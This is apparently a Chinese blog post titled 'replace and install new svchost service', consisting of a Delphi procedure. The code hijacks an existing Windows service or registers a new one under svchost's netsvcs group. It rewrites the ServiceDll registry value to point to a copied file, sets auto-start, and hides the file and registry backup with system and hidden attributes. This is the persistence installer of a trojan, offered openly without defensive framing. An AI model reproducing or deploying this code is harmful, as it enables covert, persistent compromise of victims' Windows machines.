替换和安装新svchost服务

procedure Install(var DelMe:Boolean );stdcall ;
var
FileName: array[0..255] of Char;
reg:TRegistry;
hSCM,hSCS: Cardinal ;
ss : TServiceStatus;
Args : PChar;
s,s1:string;
begin 
FillChar(FileName,SizeOf(FileName),0);
GetModuleFileName(HInstance, FileName, SizeOf(FileName));
s := Config.DIR+config.FileName;
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE ;
hSCM := OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);
if hSCM = 0 then Exit ;
case Config.StartupMode of
RunAsServiceD : //'s':现存服务启动
    begin
      hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
      if hSCS <> 0 then
      begin
        ControlService(hSCS ,SERVICE_CONTROL_STOP,ss);
        ChangeServiceConfig(hSCS,
                         SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
                         SERVICE_AUTO_START,
                         SERVICE_NO_CHANGE,
                         nil,nil,nil,nil,nil,nil,nil);
        if lstrcmpi(FileName,PChar(s)) <> 0 then
        begin
          Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
          CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹
        end;
        reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+'\',True) ;
        SetPrivilege('SeBackupPrivilege');
        RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil);
        SetPrivilege('SeBackupPrivilege',False );
        reg.CloseKey;
        reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+
          '\Parameters\',True) ;
        reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ );
        StartService(hSCS , 0, Args);
        CloseServiceHandle(hSCS);
      end;
    end;
RunAsService : //新建服务启动
    begin
      InstallService(Config.SrvName,
                     Config.DisplayName,
                     '%SystemRoot%\System32\svchost.exe -k netsvcs',
                     Config.Description); //安装服务
      if lstrcmpi(FileName,PChar(s)) <> 0 then
      begin
        Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
        CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹
      end;
 
<span id="more-169"></span>
 
      reg.OpenKey('SYSTEM\CurrentControlSet\Services\'+config.SrvName+
        '\Parameters\',True) ;
      reg.WriteData('ServiceDll',s[1],Length(s),REG_EXPAND_SZ );
      reg.CloseKey;
      reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost',False );
      SetPrivilege('SeBackupPrivilege');
      RegSaveKey(reg.CurrentKey ,PChar(s+'.uns'),nil);
      SetPrivilege('SeBackupPrivilege',False );
      s1 := reg.ReadString('netsvcs');
      s1 := config.SrvName+#0+s1;
      reg.WriteData('netsvcs',s1[1],Length(s1),REG_MULTI_SZ );
      hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
      if hSCS <> 0 then
      begin
        StartService(hSCS , 0, Args);
        CloseServiceHandle(hSCS);
      end;
    end;
end;
CloseServiceHandle(hSCM);
reg.CloseKey ;
reg.Free;
Setfileattributes(PChar(s),FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN);
Setfileattributes(PChar(s+'.uns'),FILE_ATTRIBUTE_SYSTEM+
        FILE_ATTRIBUTE_HIDDEN);
DelMe := Config.RMwIns;
end;